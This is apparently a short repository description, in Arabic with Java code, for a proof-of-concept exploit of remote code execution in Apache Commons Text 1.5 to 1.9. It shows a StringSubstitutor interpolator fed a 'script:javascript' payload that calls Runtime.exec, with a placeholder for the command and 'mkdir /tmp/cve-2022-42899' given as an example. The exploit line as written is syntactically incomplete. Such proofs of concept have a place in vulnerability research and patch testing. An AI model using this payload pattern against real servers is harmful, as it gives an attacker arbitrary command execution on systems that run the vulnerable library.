iamsanjay/cve-2022-42899استغلال إثبات المفهوم لـ CVE-2022-42899، يوضح تنفيذ كود عن بُعد في Apache Commons Text 1.5-1.9 عبر استيفاء StringSubstitutor بحمولات script:javascript.
يحتوي Apache Common Text بدءًا من الإصدار 1.5 إلى الإصدار 1.9 على ثغرة تنفيذ التعليمات البرمجية عن بُعد CVE-2022-42899.
final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec('<payload to execute RCE>"); // Here you will pass payload which you want to execute such as 'mkdir /tmp/cve-2022-42899'